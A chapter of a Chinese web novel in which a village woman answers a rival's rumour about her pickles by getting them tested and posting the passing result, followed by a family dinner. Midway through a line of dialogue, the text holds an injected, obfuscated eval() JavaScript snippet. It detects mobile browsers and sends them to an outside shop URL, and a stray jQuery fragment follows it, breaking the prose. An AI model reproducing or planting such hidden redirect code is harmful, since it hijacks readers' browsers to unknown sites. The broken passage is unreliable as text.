刘金玉知道陈绍君的腌菜生意做起来了,眼红得不行。
她不甘心,想最后搏一次。她找到村里的几个长舌妇,散布谣言:“陈绍君那个腌菜,用的是烂菜叶子,不干净,吃了会拉肚子。”
谣言传得很快,有人开始怀疑陈绍君的腌菜质量。
……
春雨淅淅沥沥地下了一整天,村口的土路被泡得稀烂,牛车轱辘轧过去,碾出两道深深的车辙。天黑得早,各家屋檐底下都垂着的水帘子,滴滴答答地在青石板上砸出一排细密的凹坑。陈绍君从学校骑单车回来,尽管穿着雨衣,但布鞋依旧湿了半截。
她刚走到院门口,就看见王大娘站她家门口等她。
“你听说了没有?”王大娘压着嗓子,“刘金玉在村里头散你的话。”
陈绍君把院门推开,侧身让大娘进来。
“散什么?”她问。
“说你的腌菜用的是烂菜叶子,”王大娘跟进灶房,站在灶台边上,一脸着急,“说腌菜不干净,吃了要拉肚子。传得可快了,我今儿下午在供销社门口站了一会儿,听见两拨人都在说。”
灶房里光线暗,雨天的傍晚天黑得早,陈绍君划了根火柴点上煤油灯。火苗跳了两跳,在玻璃罩子里稳下来,橘黄的光铺开,把灶台、案板、墙上挂的干椒和蒜辫子都照出一个轮廓。案板上还晾着上午刚切好的萝卜块,白生生的,码得整整齐齐,水珠在表面上亮晶晶的。
陈绍君伸手翻了翻萝卜块,翻了两片,凑到鼻尖闻了闻。萝卜的气味是清冽的,微微带一点辛辣。
“知道了。谢谢你告诉我。”她把萝卜块重新码好,用干净的抹布擦了擦手。
王大娘等了一会儿,见她再没开口,着急了:“你不去跟人说清楚?就这么由着她们传?”
陈绍君把煤油灯捻亮了半圈,光更盛了些,把灶房角落那排酸菜缸照出来,缸沿上压着的青石被雨水洇湿了,泛着暗沉沉的釉光。
“不急着说。”她走到那排缸前头,蹲下去,把其中一口缸的青石挪了挪,又压回去,“我明天让许行简跑一趟县城,带两罐咸菜去检测站。”
王大娘愣了:“检测站?”
“对。让技术员检验一下,出个报告。”
王大娘转了两转才明白过来,眼睛亮了:“哎!这法子好!她们说你东西不干净,咱就让公家的人来验!”
陈绍君站起来,她立在那排缸前头,煤油灯的光从她背后照过来,把她的影子投在墙上,拉得长长的,盖住了那排缸的轮廓。窗外的雨声密了些,打在屋檐的瓦片上,噼噼啪啪,很响。
许行简第二天一大早就去了。他在自行车后座上绑着两罐腌菜,用旧报纸裹了三层,外面又罩了块塑料布。雨停了,但天还是阴的,云层也压得低低的。
检测站在镇上,一间平房,许行简把腌菜罐子抱进去的时候,值班的检测员正在看书。那是个五十来岁的中年人,鼻梁上架着一副眼镜。他接过罐子,拧开盖子闻了闻,又用干净筷子夹出一块腌萝卜对着窗户的光看了看。
“哪儿的腌菜?”他问。
“红旗村里做腌菜卖的。有人说吃了拉肚子,我想验一验。”
检测员没多问,把腌菜送到里间。许行简就坐在外头的长条凳上等着。屋里有一股淡淡的来苏水味儿,墙上贴着几张发黄的健康宣传画。许行简把两只手夹在膝盖中间坐着,盯着墙上的挂钟看,分针走了两格。
检测员出来时手里拿着一张表格,钢笔字写得潦草,但底下盖了红戳。
“没问题,”他把表格递给许行简,“菌落数在标准范围以内,亚硝酸盐含量也正常。这东西干净着。”
许行简把那张纸接过来,对折了塞进口袋里里。他骑车回去的时候,蹬得飞快,车轮碾过湿漉漉的路面,带起一串泥水。
陈绍君拿到了那张检验报告后直接去了村口。村口那棵老槐树底下有一面土墙,是村里贴公告的地方,上头还残留着去年征粮通知的纸角,被雨泡烂了,只剩下一小条泛白的纸纤维。陈绍君从包里拿出一张事先写好的告示,毛边纸上写着几行大字:“岁穗腌菜经县公社检测站检验合格,请乡亲们放心食用。如有质量问题,十倍赔偿。”
字是她自己写的,墨色浓黑,横平竖直,在有些发黄的纸面上显得格外醒目。
许行简帮她按着纸角,她把糨子抹匀了,一张一张地压平,四角都贴牢了。告示贴上去的时候,正好有几个从地里回来的庄稼人经过,扛着锄头、提着水壶,在土墙前面停了两步,歪着头看了看。有个识字的念了半句:“经公社检测站检验合格……”
后面的人凑上来,把告示从头到尾看了一遍。
陈绍君站在告示旁边,日光在告示纸面上折了一下,照在她脸上。
第二天,刘金玉站在告示前,脸色一阵青一阵白。有人看了她一眼,她转身就进了巷子,步子快得像后头有狗撵。
陈绍君没去找刘金玉。接下来几天,她照常上课,照常卖菜,照常在灶房里一坛一坛地倒缸、翻菜、尝味道。
王大娘问起刘金玉的事,她就笑笑,说:“不值当。”
傍晚,许行简来找她。他帮她修好灶房门上那扇合页松了的窗扇,拧完了最后一颗螺丝他,把钳子搁在窗台上。
两个人站在院子里,日头正落下去,把老树的影子拖得老长。
他开口:“你大伯刚来找我了。”
陈绍君正准备给菜缸盖油布,手停了一下:“找你干什么?”
“替她道歉。”许行简说,“说她不长眼,让你别跟她计较。”
陈绍君把油布拉平了,四角压实,拍了拍手上的灰。“你跟他说什么了?”
许行简站在她旁边,日落的余光把他半边脸照成暖橘色。他沉默了一会儿,说:“我说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738875|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你没空计较她。”
陈绍君直起腰来看着他。他的表情平平的,但她忽然就笑了——这个人,嘴上不说什么,背地里把事儿都替她办了。
“许行简。”
“嗯?”
“明天去接陈昭宁,还记得不?”
“记得。”
“那再记一件事。明天你去镇上,帮我带两斤红糖回来。包饺子,我想试一个新馅儿。”
“行。”他说。
陈绍君转身往灶房走,走了两步,听见他在身后说:“你的告示,贴得挺好的。”
她没回头,但步子放慢了半步。
“嗯,我知道。”她说。
灶房灯亮了,橘黄的光从门框里漫出来,热乎乎地铺在院子里的青砖地上。
第二天,天擦黑的时候,东边的山脊还挂着一线灰蓝,被落日余烬从底下烘着,洇成薄薄一层紫。陈绍君里灶房的油灯已经点上了,火苗在玻璃罩子里蜷着,橘黄的光只有巴掌大的一团,勉强够照着灶台和那张小方桌。
陈绍君围着围裙在灶台前头转了一整个傍晚。鱼是许行简清早去河边捞的,二斤来沉的黑脊鲤鱼,鳞片在日光底下泛着青。她刮鳞、去鳃、剖腹,动作利索,刀沿着鱼脊骨一划到底,肉翻出来白生生的。锅里油热了,她把鱼滑进去,滋啦一声响,油花溅起来,香味一下子就蹿满了屋子。白菜炖粉条是慢活儿,粉条是入冬前拖王大娘压的,红薯粉,泡发了之后滑溜溜的半透明,跟白菜帮子一块儿在锅里咕嘟着,汤汁收得浓稠,泛着油亮的光。腌萝卜就是“穗岁”的招牌那款,切了薄片码在白瓷碟里,红椒丝缀在顶上,好看。最后一锅是野菜饺子,荠菜是陈绍君下午领着陈昭宁去田埂上挖的,焯了水挤干,跟剁碎的豆腐拌在一起,馅儿青绿青绿的,搁了盐和一点点香油,闻着就是春天的味儿。
灶膛里填着苞谷芯,火苗从灶口扑出来,把陈绍君的脸烤得红扑扑的。陈昭宁蹲在灶膛前头添柴,小辫子在脑袋两边翘着,往灶膛里塞柴的时候火光照得她眼珠子亮晶晶的。
“姐,饺子啥时候好?”
“再等一滚。”陈绍君拿锅铲轻轻推了推锅里的饺子,白胖的饺子在沸水里翻了个身,皮子鼓起来,透着里头荠菜的青影子。她用漏勺舀了一只起来,在凉水碗里涮了涮,掰开——馅儿熟透了,青绿绿的一团,香油的气味扑出来。陈昭宁凑过来闻了闻,吸了一下鼻子。
“端上桌。”陈绍君叮嘱陈昭宁。
菜一盘一盘地端上去。四道菜挤挤挨挨地摆在桌上,盘沿挨着盘沿,热气往上蹿着,在油灯的暖光里雾腾腾地滚成一团。陈绍君把筷子摆好,又把醋碟子搁在桌子正中间。
许行简看见桌上那桌菜,在门口站了一息,目光从鱼头挪到饺子盘,又从饺子盘挪到陈绍君脸上。
“快坐,吃饭了。”陈绍君把围裙解下来搭在椅背上,自己拉开凳子坐下。